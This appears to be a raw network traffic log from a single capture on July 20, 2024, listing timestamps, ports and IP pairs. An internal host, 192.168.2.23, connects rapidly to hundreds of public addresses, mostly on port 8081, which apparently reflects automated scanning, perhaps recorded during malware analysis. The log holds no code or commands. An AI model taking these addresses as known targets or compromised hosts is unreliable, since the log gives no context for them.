Jul 20, 2024 23:00:59.749129057 CEST	8081	58612	13.201.247.1	192.168.2.23
Jul 20, 2024 23:00:59.749157906 CEST	8081	34972	79.214.171.15	192.168.2.23
Jul 20, 2024 23:00:59.749186993 CEST	8081	55824	74.113.80.174	192.168.2.23
Jul 20, 2024 23:00:59.749216080 CEST	8081	49174	174.211.130.59	192.168.2.23
Jul 20, 2024 23:00:59.749243975 CEST	8081	44126	40.34.22.17	192.168.2.23
Jul 20, 2024 23:00:59.749273062 CEST	8081	59658	61.254.65.221	192.168.2.23
Jul 20, 2024 23:00:59.749303102 CEST	8081	45090	62.145.56.184	192.168.2.23
Jul 20, 2024 23:00:59.749331951 CEST	8081	40594	50.238.59.193	192.168.2.23
Jul 20, 2024 23:00:59.749361038 CEST	8081	47918	126.203.110.229	192.168.2.23
Jul 20, 2024 23:00:59.749399900 CEST	8081	50762	77.232.27.69	192.168.2.23
Jul 20, 2024 23:00:59.749429941 CEST	8081	35750	58.209.208.205	192.168.2.23
Jul 20, 2024 23:00:59.749458075 CEST	8081	55746	150.211.33.207	192.168.2.23
Jul 20, 2024 23:00:59.749486923 CEST	8081	50028	40.204.235.232	192.168.2.23
Jul 20, 2024 23:00:59.749516010 CEST	8081	59102	5.212.63.8	192.168.2.23
Jul 20, 2024 23:00:59.749562979 CEST	8081	38020	113.230.96.58	192.168.2.23
Jul 20, 2024 23:00:59.749591112 CEST	8081	45628	44.246.32.7	192.168.2.23
Jul 20, 2024 23:00:59.749619961 CEST	8081	54806	183.232.41.59	192.168.2.23
Jul 20, 2024 23:00:59.749648094 CEST	8081	33376	219.185.132.28	192.168.2.23
Jul 20, 2024 23:00:59.749676943 CEST	8081	55068	67.126.95.220	192.168.2.23
Jul 20, 2024 23:00:59.749703884 CEST	8081	58254	68.41.70.255	192.168.2.23
Jul 20, 2024 23:00:59.749888897 CEST	37215	36066	58.150.96.208	192.168.2.23
Jul 20, 2024 23:00:59.750525951 CEST	80	48844	95.185.211.152	192.168.2.23
Jul 20, 2024 23:00:59.750855923 CEST	58112	8081	192.168.2.23	153.129.111.29
Jul 20, 2024 23:00:59.750855923 CEST	37234	8081	192.168.2.23	195.218.137.89
Jul 20, 2024 23:00:59.750855923 CEST	56826	8081	192.168.2.23	86.189.116.244
Jul 20, 2024 23:00:59.750857115 CEST	44670	8081	192.168.2.23	119.196.179.139
Jul 20, 2024 23:00:59.750857115 CEST	47768	8081	192.168.2.23	176.159.56.7
Jul 20, 2024 23:00:59.750857115 CEST	56976	8081	192.168.2.23	67.27.81.222
Jul 20, 2024 23:00:59.750857115 CEST	54928	8081	192.168.2.23	8.145.37.187
Jul 20, 2024 23:00:59.750857115 CEST	44362	8081	192.168.2.23	67.253.170.233
Jul 20, 2024 23:00:59.751068115 CEST	8081	33197	202.125.22.207	192.168.2.23
Jul 20, 2024 23:00:59.751276016 CEST	8081	42544	78.220.143.116	192.168.2.23
Jul 20, 2024 23:00:59.751331091 CEST	33197	8081	192.168.2.23	97.202.186.204
Jul 20, 2024 23:00:59.751331091 CEST	33197	8081	192.168.2.23	186.217.43.7
Jul 20, 2024 23:00:59.751331091 CEST	33197	8081	192.168.2.23	156.185.162.167
Jul 20, 2024 23:00:59.751331091 CEST	33197	8081	192.168.2.23	190.11.125.18
Jul 20, 2024 23:00:59.751331091 CEST	33197	8081	192.168.2.23	172.147.114.55
Jul 20, 2024 23:00:59.751331091 CEST	33197	8081	192.168.2.23	80.204.209.177
Jul 20, 2024 23:00:59.751331091 CEST	33197	8081	192.168.2.23	207.118.161.62
Jul 20, 2024 23:00:59.751331091 CEST	33197	8081	192.168.2.23	70.145.32.138
Jul 20, 2024 23:00:59.751422882 CEST	8081	58254	68.41.70.255	192.168.2.23
Jul 20, 2024 23:00:59.751462936 CEST	8081	55068	67.126.95.220	192.168.2.23
Jul 20, 2024 23:00:59.751492023 CEST	8081	33376	219.185.132.28	192.168.2.23
Jul 20, 2024 23:00:59.751530886 CEST	8081	54806	183.232.41.59	192.168.2.23
Jul 20, 2024 23:00:59.751559973 CEST	8081	45628	44.246.32.7	192.168.2.23
Jul 20, 2024 23:00:59.751589060 CEST	8081	38020	113.230.96.58	192.168.2.23
Jul 20, 2024 23:00:59.751616955 CEST	8081	59102	5.212.63.8	192.168.2.23
Jul 20, 2024 23:00:59.751739979 CEST	8081	50028	40.204.235.232	192.168.2.23
Jul 20, 2024 23:00:59.751769066 CEST	8081	55746	150.211.33.207	192.168.2.23
Jul 20, 2024 23:00:59.751797915 CEST	8081	35750	58.209.208.205	192.168.2.23
Jul 20, 2024 23:00:59.751837015 CEST	8081	50762	77.232.27.69	192.168.2.23
Jul 20, 2024 23:00:59.751868010 CEST	44520	8081	192.168.2.23	99.31.70.158
Jul 20, 2024 23:00:59.751868010 CEST	44778	8081	192.168.2.23	65.226.156.101
Jul 20, 2024 23:00:59.751868010 CEST	54078	8081	192.168.2.23	50.129.227.225
Jul 20, 2024 23:00:59.751868010 CEST	47566	8081	192.168.2.23	102.118.189.255
Jul 20, 2024 23:00:59.751868010 CEST	43888	8081	192.168.2.23	160.20.175.254
Jul 20, 2024 23:00:59.751868010 CEST	50488	8081	192.168.2.23	221.124.98.36
Jul 20, 2024 23:00:59.751868010 CEST	60130	8081	192.168.2.23	91.55.81.201
Jul 20, 2024 23:00:59.751868010 CEST	38248	8081	192.168.2.23	121.11.165.132
Jul 20, 2024 23:00:59.752177954 CEST	8081	47918	126.203.110.229	192.168.2.23
Jul 20, 2024 23:00:59.752209902 CEST	8081	33197	99.97.179.204	192.168.2.23
Jul 20, 2024 23:00:59.752240896 CEST	8081	40594	50.238.59.193	192.168.2.23
Jul 20, 2024 23:00:59.752269030 CEST	8081	45090	62.145.56.184	192.168.2.23
Jul 20, 2024 23:00:59.752299070 CEST	8081	59658	61.254.65.221	192.168.2.23
Jul 20, 2024 23:00:59.752326965 CEST	8081	44126	40.34.22.17	192.168.2.23
Jul 20, 2024 23:00:59.752355099 CEST	8081	49174	174.211.130.59	192.168.2.23
Jul 20, 2024 23:00:59.752382994 CEST	8081	55824	74.113.80.174	192.168.2.23
Jul 20, 2024 23:00:59.752410889 CEST	8081	34972	79.214.171.15	192.168.2.23
Jul 20, 2024 23:00:59.752449989 CEST	8081	58612	13.201.247.1	192.168.2.23
Jul 20, 2024 23:00:59.752479076 CEST	8081	44008	143.178.252.246	192.168.2.23
Jul 20, 2024 23:00:59.752525091 CEST	8081	52052	213.64.167.149	192.168.2.23
Jul 20, 2024 23:00:59.752552032 CEST	8081	40136	50.166.250.192	192.168.2.23
Jul 20, 2024 23:00:59.752578974 CEST	8081	55436	202.218.212.3	192.168.2.23
Jul 20, 2024 23:00:59.752607107 CEST	8081	35546	191.189.55.135	192.168.2.23
Jul 20, 2024 23:00:59.752635956 CEST	8081	33197	138.179.118.150	192.168.2.23
Jul 20, 2024 23:00:59.752737999 CEST	8081	44870	169.22.153.45	192.168.2.23
Jul 20, 2024 23:00:59.752767086 CEST	8081	51744	39.251.53.179	192.168.2.23
Jul 20, 2024 23:00:59.752798080 CEST	8081	44426	206.223.137.129	192.168.2.23
Jul 20, 2024 23:00:59.752825975 CEST	8081	38348	78.218.78.120	192.168.2.23
Jul 20, 2024 23:00:59.752854109 CEST	8081	55616	116.31.165.18	192.168.2.23
Jul 20, 2024 23:00:59.752893925 CEST	8081	42880	158.125.86.92	192.168.2.23
Jul 20, 2024 23:00:59.752923012 CEST	8081	45110	95.74.8.198	192.168.2.23
Jul 20, 2024 23:00:59.752952099 CEST	8081	51864	14.240.127.137	192.168.2.23
Jul 20, 2024 23:00:59.752979994 CEST	8081	48706	144.111.168.245	192.168.2.23
Jul 20, 2024 23:00:59.753026009 CEST	8081	43548	125.22.92.96	192.168.2.23
Jul 20, 2024 23:00:59.753055096 CEST	8081	55942	191.158.189.2	192.168.2.23
Jul 20, 2024 23:00:59.753082991 CEST	8081	60290	135.134.34.28	192.168.2.23
Jul 20, 2024 23:00:59.753110886 CEST	8081	54140	180.150.232.28	192.168.2.23
Jul 20, 2024 23:00:59.753139973 CEST	8081	54604	37.155.128.10	192.168.2.23
Jul 20, 2024 23:00:59.753168106 CEST	8081	46210	141.128.229.14	192.168.2.23
Jul 20, 2024 23:00:59.753197908 CEST	8081	46612	151.107.112.214	192.168.2.23
Jul 20, 2024 23:00:59.753226995 CEST	8081	42340	113.50.102.50	192.168.2.23
Jul 20, 2024 23:00:59.753254890 CEST	8081	40404	45.29.220.56	192.168.2.23
Jul 20, 2024 23:00:59.753283978 CEST	8081	58886	211.145.32.152	192.168.2.23
Jul 20, 2024 23:00:59.753313065 CEST	8081	42352	49.49.107.76	192.168.2.23
Jul 20, 2024 23:00:59.753340960 CEST	8081	53884	210.148.47.191	192.168.2.23
Jul 20, 2024 23:00:59.753386021 CEST	8081	44656	47.26.45.215	192.168.2.23
Jul 20, 2024 23:00:59.753417015 CEST	8081	39654	121.107.250.116	192.168.2.23
Jul 20, 2024 23:00:59.753444910 CEST	8081	33197	187.59.27.4	192.168.2.23
Jul 20, 2024 23:00:59.753513098 CEST	52869	38334	207.112.16.238	192.168.2.23
Jul 20, 2024 23:00:59.753541946 CEST	8081	33197	119.124.181.138	192.168.2.23
Jul 20, 2024 23:00:59.753870964 CEST	8081	33197	104.59.76.189	192.168.2.23
Jul 20, 2024 23:00:59.754532099 CEST	33197	8081	192.168.2.23	122.146.206.113
Jul 20, 2024 23:00:59.754532099 CEST	33197	8081	192.168.2.23	210.63.251.213
Jul 20, 2024 23:00:59.754532099 CEST	33197	8081	192.168.2.23	126.240.76.33
Jul 20, 2024 23:00:59.754532099 CEST	33197	8081	192.168.2.23	31.213.33.171
Jul 20, 2024 23:00:59.754532099 CEST	33197	8081	192.168.2.23	37.53.225.49
Jul 20, 2024 23:00:59.754532099 CEST	33197	8081	192.168.2.23	112.79.196.214
Jul 20, 2024 23:00:59.754532099 CEST	33197	8081	192.168.2.23	125.90.255.96
Jul 20, 2024 23:00:59.754532099 CEST	33197	8081	192.168.2.23	95.171.46.36
Jul 20, 2024 23:00:59.754851103 CEST	36036	8081	192.168.2.23	201.77.170.14
Jul 20, 2024 23:00:59.754851103 CEST	33256	8081	192.168.2.23	172.125.164.86
Jul 20, 2024 23:00:59.754851103 CEST	44568	8081	192.168.2.23	123.41.132.40
Jul 20, 2024 23:00:59.754851103 CEST	48042	8081	192.168.2.23	35.100.103.23
Jul 20, 2024 23:00:59.754851103 CEST	51716	8081	192.168.2.23	138.111.21.139
Jul 20, 2024 23:00:59.754851103 CEST	35832	8081	192.168.2.23	36.61.132.121
Jul 20, 2024 23:00:59.754851103 CEST	33197	8081	192.168.2.23	83.168.83.170
Jul 20, 2024 23:00:59.754851103 CEST	33197	8081	192.168.2.23	178.152.86.89
Jul 20, 2024 23:00:59.755023956 CEST	33386	8081	192.168.2.23	222.51.117.113
Jul 20, 2024 23:00:59.755023956 CEST	55168	8081	192.168.2.23	51.1.78.152
Jul 20, 2024 23:00:59.755023956 CEST	33197	8081	192.168.2.23	9.128.52.200
Jul 20, 2024 23:00:59.755023956 CEST	33197	8081	192.168.2.23	128.69.181.18
Jul 20, 2024 23:00:59.755023956 CEST	33197	8081	192.168.2.23	212.63.208.54
Jul 20, 2024 23:00:59.755023956 CEST	33197	8081	192.168.2.23	129.56.47.139
Jul 20, 2024 23:00:59.756151915 CEST	8081	33197	198.242.14.247	192.168.2.23
Jul 20, 2024 23:00:59.756165981 CEST	8081	33197	195.75.132.104	192.168.2.23
Jul 20, 2024 23:00:59.756179094 CEST	52869	53640	91.10.179.128	192.168.2.23
Jul 20, 2024 23:00:59.756400108 CEST	8081	33197	199.198.15.240	192.168.2.23
Jul 20, 2024 23:00:59.756594896 CEST	8081	33197	4.144.210.232	192.168.2.23
Jul 20, 2024 23:00:59.756617069 CEST	50896	8081	192.168.2.23	69.163.38.91
Jul 20, 2024 23:00:59.756617069 CEST	56092	8081	192.168.2.23	71.33.35.123
Jul 20, 2024 23:00:59.756617069 CEST	44266	8081	192.168.2.23	35.61.103.70
Jul 20, 2024 23:00:59.756617069 CEST	37004	8081	192.168.2.23	51.210.198.118
Jul 20, 2024 23:00:59.756617069 CEST	44656	8081	192.168.2.23	8.92.127.66
Jul 20, 2024 23:00:59.756617069 CEST	54398	8081	192.168.2.23	32.26.120.233
Jul 20, 2024 23:00:59.756617069 CEST	45892	8081	192.168.2.23	52.47.117.27
Jul 20, 2024 23:00:59.756617069 CEST	59176	8081	192.168.2.23	69.10.172.90
Jul 20, 2024 23:00:59.756627083 CEST	8081	33197	79.133.187.219	192.168.2.23
Jul 20, 2024 23:00:59.756666899 CEST	8081	45024	130.9.138.83	192.168.2.23
Jul 20, 2024 23:00:59.756696939 CEST	8081	33197	117.15.5.30	192.168.2.23
Jul 20, 2024 23:00:59.756789923 CEST	8081	33197	95.92.211.158	192.168.2.23
Jul 20, 2024 23:00:59.756818056 CEST	8081	33197	167.99.170.62	192.168.2.23
Jul 20, 2024 23:00:59.757172108 CEST	8081	58112	153.129.111.29	192.168.2.23
Jul 20, 2024 23:00:59.757206917 CEST	8081	41980	221.225.197.171	192.168.2.23
Jul 20, 2024 23:00:59.757236004 CEST	8081	49146	209.221.156.98	192.168.2.23
Jul 20, 2024 23:00:59.757275105 CEST	8081	43014	83.20.70.35	192.168.2.23
Jul 20, 2024 23:00:59.757307053 CEST	8081	35928	202.229.106.73	192.168.2.23
Jul 20, 2024 23:00:59.757334948 CEST	8081	39730	101.167.238.79	192.168.2.23
Jul 20, 2024 23:00:59.757364035 CEST	8081	48578	186.199.72.114	192.168.2.23
Jul 20, 2024 23:00:59.757392883 CEST	8081	48434	198.50.246.46	192.168.2.23
Jul 20, 2024 23:00:59.757421017 CEST	8081	49668	31.254.206.145	192.168.2.23
Jul 20, 2024 23:00:59.757448912 CEST	8081	50036	67.146.206.6	192.168.2.23
Jul 20, 2024 23:00:59.757476091 CEST	8081	34136	40.128.147.134	192.168.2.23
Jul 20, 2024 23:00:59.757504940 CEST	8081	44188	212.52.36.237	192.168.2.23
Jul 20, 2024 23:00:59.757533073 CEST	8081	35034	202.229.106.73	192.168.2.23
Jul 20, 2024 23:00:59.757594109 CEST	8081	33197	17.70.6.73	192.168.2.23
Jul 20, 2024 23:00:59.758542061 CEST	8081	33197	180.129.156.195	192.168.2.23
Jul 20, 2024 23:00:59.758613110 CEST	8081	33197	97.202.186.204	192.168.2.23
Jul 20, 2024 23:00:59.758629084 CEST	8081	33197	217.177.63.80	192.168.2.23
Jul 20, 2024 23:00:59.758644104 CEST	8081	33197	49.214.76.121	192.168.2.23
Jul 20, 2024 23:00:59.758862019 CEST	33197	8081	192.168.2.23	123.175.228.39
Jul 20, 2024 23:00:59.758862019 CEST	33197	8081	192.168.2.23	8.132.88.240
Jul 20, 2024 23:00:59.758862019 CEST	33197	8081	192.168.2.23	1.192.22.160
Jul 20, 2024 23:00:59.758862019 CEST	33197	8081	192.168.2.23	8.44.21.242
Jul 20, 2024 23:00:59.758862019 CEST	33197	8081	192.168.2.23	19.15.150.226
Jul 20, 2024 23:00:59.758862019 CEST	33197	8081	192.168.2.23	172.132.51.28
Jul 20, 2024 23:00:59.758862019 CEST	45918	8081	192.168.2.23	130.9.138.83
Jul 20, 2024 23:00:59.758862019 CEST	33197	8081	192.168.2.23	219.207.234.154
Jul 20, 2024 23:00:59.758903980 CEST	8081	33197	186.217.43.7	192.168.2.23
Jul 20, 2024 23:00:59.759011984 CEST	33197	8081	192.168.2.23	79.56.139.39
Jul 20, 2024 23:00:59.759011984 CEST	33197	8081	192.168.2.23	136.238.175.249
Jul 20, 2024 23:00:59.759011984 CEST	33197	8081	192.168.2.23	160.126.107.170
Jul 20, 2024 23:00:59.759011984 CEST	33197	8081	192.168.2.23	221.230.84.174
Jul 20, 2024 23:00:59.759011984 CEST	33197	8081	192.168.2.23	90.14.73.22
Jul 20, 2024 23:00:59.759011984 CEST	33197	8081	192.168.2.23	195.167.115.164
Jul 20, 2024 23:00:59.759011984 CEST	33197	8081	192.168.2.23	130.152.94.247
Jul 20, 2024 23:00:59.759011984 CEST	33197	8081	192.168.2.23	195.181.54.162
Jul 20, 2024 23:00:59.759237051 CEST	33197	8081	192.168.2.23	182.232.2.36
Jul 20, 2024 23:00:59.759238005 CEST	33197	8081	192.168.2.23	103.11.197.197
Jul 20, 2024 23:00:59.759238005 CEST	33197	8081	192.168.2.23	163.19.50.91
Jul 20, 2024 23:00:59.759238005 CEST	33197	8081	192.168.2.23	175.251.122.117
Jul 20, 2024 23:00:59.759238005 CEST	33197	8081	192.168.2.23	199.24.54.65
Jul 20, 2024 23:00:59.759238005 CEST	33197	8081	192.168.2.23	216.81.72.214
Jul 20, 2024 23:00:59.759351015 CEST	60418	8081	192.168.2.23	203.12.152.184
Jul 20, 2024 23:00:59.759351015 CEST	34600	8081	192.168.2.23	197.124.121.19
Jul 20, 2024 23:00:59.759351015 CEST	52116	8081	192.168.2.23	18.200.102.195
Jul 20, 2024 23:00:59.759351015 CEST	54818	8081	192.168.2.23	91.28.193.161
Jul 20, 2024 23:00:59.759351015 CEST	33197	8081	192.168.2.23	54.65.182.196
Jul 20, 2024 23:00:59.759351015 CEST	33197	8081	192.168.2.23	62.147.99.28
Jul 20, 2024 23:00:59.759351015 CEST	33197	8081	192.168.2.23	37.101.29.184
Jul 20, 2024 23:00:59.759351969 CEST	33197	8081	192.168.2.23	8.117.185.116
Jul 20, 2024 23:00:59.759779930 CEST	8081	33197	47.251.51.158	192.168.2.23
Jul 20, 2024 23:00:59.759821892 CEST	8081	33197	94.147.150.138	192.168.2.23
Jul 20, 2024 23:00:59.760094881 CEST	33197	8081	192.168.2.23	113.223.5.100
Jul 20, 2024 23:00:59.760094881 CEST	33197	8081	192.168.2.23	128.55.53.203
Jul 20, 2024 23:00:59.760094881 CEST	55676	8081	192.168.2.23	91.130.196.71
Jul 20, 2024 23:00:59.760094881 CEST	59288	8081	192.168.2.23	42.37.47.7
Jul 20, 2024 23:00:59.760094881 CEST	43144	8081	192.168.2.23	158.113.146.43
Jul 20, 2024 23:00:59.760094881 CEST	53866	8081	192.168.2.23	45.154.193.96
Jul 20, 2024 23:00:59.760094881 CEST	55068	8081	192.168.2.23	67.126.95.220
Jul 20, 2024 23:00:59.760507107 CEST	8081	33197	122.146.206.113	192.168.2.23
Jul 20, 2024 23:00:59.760546923 CEST	8081	33197	156.185.162.167	192.168.2.23
Jul 20, 2024 23:00:59.760719061 CEST	8081	56976	67.27.81.222	192.168.2.23
Jul 20, 2024 23:00:59.760734081 CEST	8081	55000	209.57.96.146	192.168.2.23
Jul 20, 2024 23:00:59.760747910 CEST	8081	52218	110.138.50.100	192.168.2.23
Jul 20, 2024 23:00:59.760761023 CEST	8081	47768	176.159.56.7	192.168.2.23
Jul 20, 2024 23:00:59.760773897 CEST	8081	43524	157.132.243.78	192.168.2.23
Jul 20, 2024 23:00:59.760787010 CEST	8081	47566	102.118.189.255	192.168.2.23
Jul 20, 2024 23:00:59.760801077 CEST	8081	44670	119.196.179.139	192.168.2.23
Jul 20, 2024 23:00:59.760813951 CEST	8081	34148	85.16.45.188	192.168.2.23
Jul 20, 2024 23:00:59.760827065 CEST	8081	56826	86.189.116.244	192.168.2.23
Jul 20, 2024 23:00:59.760842085 CEST	8081	54078	50.129.227.225	192.168.2.23
Jul 20, 2024 23:00:59.760854006 CEST	8081	37222	146.31.29.110	192.168.2.23
Jul 20, 2024 23:00:59.760870934 CEST	8081	44778	65.226.156.101	192.168.2.23
Jul 20, 2024 23:00:59.760884047 CEST	8081	49724	13.154.39.145	192.168.2.23
Jul 20, 2024 23:00:59.760936975 CEST	8081	44520	99.31.70.158	192.168.2.23
Jul 20, 2024 23:00:59.760951042 CEST	8081	37234	195.218.137.89	192.168.2.23
Jul 20, 2024 23:00:59.760965109 CEST	8081	58022	136.141.153.70	192.168.2.23
Jul 20, 2024 23:00:59.760977983 CEST	8081	56348	96.99.34.154	192.168.2.23
Jul 20, 2024 23:00:59.760992050 CEST	8081	33197	66.104.30.94	192.168.2.23
Jul 20, 2024 23:00:59.761369944 CEST	8081	33197	190.11.125.18	192.168.2.23
Jul 20, 2024 23:00:59.761497021 CEST	33666	8081	192.168.2.23	186.49.44.43
Jul 20, 2024 23:00:59.761497021 CEST	46412	8081	192.168.2.23	83.149.186.96
Jul 20, 2024 23:00:59.761497021 CEST	33197	8081	192.168.2.23	66.14.137.10
Jul 20, 2024 23:00:59.761497021 CEST	33197	8081	192.168.2.23	14.8.24.70
Jul 20, 2024 23:00:59.761497021 CEST	33197	8081	192.168.2.23	163.49.196.151
Jul 20, 2024 23:00:59.761497021 CEST	33197	8081	192.168.2.23	66.204.66.32
Jul 20, 2024 23:00:59.761497021 CEST	33197	8081	192.168.2.23	17.99.132.111
Jul 20, 2024 23:00:59.761497021 CEST	33197	8081	192.168.2.23	52.148.104.49
Jul 20, 2024 23:00:59.761976957 CEST	8081	33197	9.128.52.200	192.168.2.23
Jul 20, 2024 23:00:59.762495041 CEST	8081	33197	210.63.251.213	192.168.2.23
Jul 20, 2024 23:00:59.762870073 CEST	8081	33197	128.69.181.18	192.168.2.23
Jul 20, 2024 23:00:59.762902975 CEST	8081	33197	212.63.208.54	192.168.2.23
Jul 20, 2024 23:00:59.763298035 CEST	33197	8081	192.168.2.23	45.210.13.85
Jul 20, 2024 23:00:59.763298035 CEST	33197	8081	192.168.2.23	186.26.102.16
Jul 20, 2024 23:00:59.763298035 CEST	33197	8081	192.168.2.23	32.90.69.74
Jul 20, 2024 23:00:59.763298035 CEST	33197	8081	192.168.2.23	207.221.243.14
Jul 20, 2024 23:00:59.763298035 CEST	33197	8081	192.168.2.23	95.219.220.132
Jul 20, 2024 23:00:59.763298035 CEST	46116	37215	192.168.2.23	157.170.103.64
Jul 20, 2024 23:00:59.763298035 CEST	46534	8081	192.168.2.23	165.83.86.189
Jul 20, 2024 23:00:59.763298035 CEST	36522	8081	192.168.2.23	79.87.222.247
Jul 20, 2024 23:00:59.763364077 CEST	8081	33197	126.240.76.33	192.168.2.23
Jul 20, 2024 23:00:59.763453007 CEST	8081	33197	172.147.114.55	192.168.2.23
Jul 20, 2024 23:00:59.763540983 CEST	8081	33197	80.204.209.177	192.168.2.23
Jul 20, 2024 23:00:59.763976097 CEST	8081	40296	110.90.71.250	192.168.2.23
Jul 20, 2024 23:00:59.764027119 CEST	8081	39654	121.107.250.116	192.168.2.23
Jul 20, 2024 23:00:59.764065027 CEST	8081	44656	47.26.45.215	192.168.2.23
Jul 20, 2024 23:00:59.764096022 CEST	8081	53884	210.148.47.191	192.168.2.23
Jul 20, 2024 23:00:59.764576912 CEST	8081	42352	49.49.107.76	192.168.2.23
Jul 20, 2024 23:00:59.764631033 CEST	8081	58886	211.145.32.152	192.168.2.23
Jul 20, 2024 23:00:59.764663935 CEST	8081	40404	45.29.220.56	192.168.2.23
Jul 20, 2024 23:00:59.764693975 CEST	8081	42340	113.50.102.50	192.168.2.23
Jul 20, 2024 23:00:59.764724970 CEST	8081	46612	151.107.112.214	192.168.2.23
Jul 20, 2024 23:00:59.764755011 CEST	8081	46210	141.128.229.14	192.168.2.23
Jul 20, 2024 23:00:59.764785051 CEST	8081	54604	37.155.128.10	192.168.2.23
Jul 20, 2024 23:00:59.764815092 CEST	8081	54140	180.150.232.28	192.168.2.23
Jul 20, 2024 23:00:59.764843941 CEST	8081	60290	135.134.34.28	192.168.2.23
Jul 20, 2024 23:00:59.764897108 CEST	8081	55942	191.158.189.2	192.168.2.23
Jul 20, 2024 23:00:59.764925957 CEST	8081	43548	125.22.92.96	192.168.2.23
Jul 20, 2024 23:00:59.764955044 CEST	8081	48706	144.111.168.245	192.168.2.23
Jul 20, 2024 23:00:59.764983892 CEST	8081	51864	14.240.127.137	192.168.2.23
Jul 20, 2024 23:00:59.765014887 CEST	8081	45110	95.74.8.198	192.168.2.23
Jul 20, 2024 23:00:59.765044928 CEST	8081	42880	158.125.86.92	192.168.2.23
Jul 20, 2024 23:00:59.765073061 CEST	8081	44188	212.52.36.237	192.168.2.23
Jul 20, 2024 23:00:59.765104055 CEST	8081	34136	40.128.147.134	192.168.2.23
Jul 20, 2024 23:00:59.765134096 CEST	8081	50036	67.146.206.6	192.168.2.23
Jul 20, 2024 23:00:59.765167952 CEST	8081	33197	150.30.166.70	192.168.2.23
Jul 20, 2024 23:00:59.765197992 CEST	8081	49668	31.254.206.145	192.168.2.23
Jul 20, 2024 23:00:59.765245914 CEST	8081	33197	52.153.126.113	192.168.2.23
Jul 20, 2024 23:00:59.765278101 CEST	8081	48434	198.50.246.46	192.168.2.23
Jul 20, 2024 23:00:59.765310049 CEST	8081	33197	129.56.47.139	192.168.2.23
Jul 20, 2024 23:00:59.765343904 CEST	8081	48578	186.199.72.114	192.168.2.23
Jul 20, 2024 23:00:59.765376091 CEST	8081	39730	101.167.238.79	192.168.2.23
Jul 20, 2024 23:00:59.765405893 CEST	8081	35928	202.229.106.73	192.168.2.23
Jul 20, 2024 23:00:59.765435934 CEST	8081	43014	83.20.70.35	192.168.2.23
Jul 20, 2024 23:00:59.765465021 CEST	8081	49146	209.221.156.98	192.168.2.23
Jul 20, 2024 23:00:59.765496016 CEST	8081	41980	221.225.197.171	192.168.2.23
Jul 20, 2024 23:00:59.765526056 CEST	8081	58112	153.129.111.29	192.168.2.23
Jul 20, 2024 23:00:59.765556097 CEST	8081	56348	96.99.34.154	192.168.2.23
Jul 20, 2024 23:00:59.765588045 CEST	8081	58022	136.141.153.70	192.168.2.23
Jul 20, 2024 23:00:59.765616894 CEST	8081	37234	195.218.137.89	192.168.2.23
Jul 20, 2024 23:00:59.765646935 CEST	8081	44520	99.31.70.158	192.168.2.23
Jul 20, 2024 23:00:59.765676975 CEST	8081	49284	43.197.192.55	192.168.2.23
Jul 20, 2024 23:00:59.765707970 CEST	8081	38248	121.11.165.132	192.168.2.23
Jul 20, 2024 23:00:59.765737057 CEST	8081	37004	51.210.198.118	192.168.2.23
Jul 20, 2024 23:00:59.765764952 CEST	8081	33256	172.125.164.86	192.168.2.23
Jul 20, 2024 23:00:59.765794039 CEST	8081	44266	35.61.103.70	192.168.2.23
Jul 20, 2024 23:00:59.765822887 CEST	8081	56092	71.33.35.123	192.168.2.23
Jul 20, 2024 23:00:59.765857935 CEST	8081	60130	91.55.81.201	192.168.2.23
Jul 20, 2024 23:00:59.765897989 CEST	8081	50896	69.163.38.91	192.168.2.23
Jul 20, 2024 23:00:59.765929937 CEST	8081	50488	221.124.98.36	192.168.2.23
Jul 20, 2024 23:00:59.765959024 CEST	8081	44362	67.253.170.233	192.168.2.23
Jul 20, 2024 23:00:59.765988111 CEST	8081	43888	160.20.175.254	192.168.2.23
Jul 20, 2024 23:00:59.766017914 CEST	8081	55168	51.1.78.152	192.168.2.23
Jul 20, 2024 23:00:59.766047955 CEST	8081	49724	13.154.39.145	192.168.2.23
Jul 20, 2024 23:00:59.766077042 CEST	8081	36036	201.77.170.14	192.168.2.23
Jul 20, 2024 23:00:59.766104937 CEST	8081	54928	8.145.37.187	192.168.2.23
Jul 20, 2024 23:00:59.766134024 CEST	8081	33386	222.51.117.113	192.168.2.23
Jul 20, 2024 23:00:59.766160965 CEST	8081	44778	65.226.156.101	192.168.2.23
Jul 20, 2024 23:00:59.766190052 CEST	8081	37222	146.31.29.110	192.168.2.23
Jul 20, 2024 23:00:59.766218901 CEST	8081	54078	50.129.227.225	192.168.2.23
Jul 20, 2024 23:00:59.766247034 CEST	8081	56826	86.189.116.244	192.168.2.23
Jul 20, 2024 23:00:59.766277075 CEST	8081	34148	85.16.45.188	192.168.2.23
Jul 20, 2024 23:00:59.766309023 CEST	8081	44670	119.196.179.139	192.168.2.23
Jul 20, 2024 23:00:59.766339064 CEST	8081	33197	207.118.161.62	192.168.2.23
Jul 20, 2024 23:00:59.766366005 CEST	33197	8081	192.168.2.23	140.247.206.108
Jul 20, 2024 23:00:59.766366005 CEST	33197	8081	192.168.2.23	8.173.68.39
Jul 20, 2024 23:00:59.766366005 CEST	33197	8081	192.168.2.23	150.228.232.112
Jul 20, 2024 23:00:59.766366005 CEST	33197	8081	192.168.2.23	221.112.10.80
Jul 20, 2024 23:00:59.766366005 CEST	33197	8081	192.168.2.23	99.110.97.182
Jul 20, 2024 23:00:59.766366005 CEST	33197	8081	192.168.2.23	82.158.183.34
Jul 20, 2024 23:00:59.766370058 CEST	8081	33197	31.213.33.171	192.168.2.23
Jul 20, 2024 23:00:59.766398907 CEST	8081	33197	70.145.32.138	192.168.2.23
Jul 20, 2024 23:00:59.766428947 CEST	8081	33197	37.53.225.49	192.168.2.23
Jul 20, 2024 23:00:59.766469955 CEST	8081	33197	182.232.2.36	192.168.2.23
Jul 20, 2024 23:00:59.766520023 CEST	33197	8081	192.168.2.23	100.242.150.111
Jul 20, 2024 23:00:59.766520023 CEST	33197	8081	192.168.2.23	140.47.57.23
Jul 20, 2024 23:00:59.766520023 CEST	33197	8081	192.168.2.23	82.70.126.104
Jul 20, 2024 23:00:59.766520023 CEST	33197	8081	192.168.2.23	139.113.239.133
Jul 20, 2024 23:00:59.766520023 CEST	33197	8081	192.168.2.23	183.220.7.1
Jul 20, 2024 23:00:59.766520023 CEST	33197	8081	192.168.2.23	114.118.70.230
Jul 20, 2024 23:00:59.766520023 CEST	33197	8081	192.168.2.23	149.109.120.146
Jul 20, 2024 23:00:59.766520023 CEST	33197	8081	192.168.2.23	189.159.212.109
Jul 20, 2024 23:00:59.767584085 CEST	8081	33197	112.79.196.214	192.168.2.23
Jul 20, 2024 23:00:59.767745018 CEST	8081	33197	103.11.197.197	192.168.2.23
Jul 20, 2024 23:00:59.768552065 CEST	8081	33197	79.56.139.39	192.168.2.23
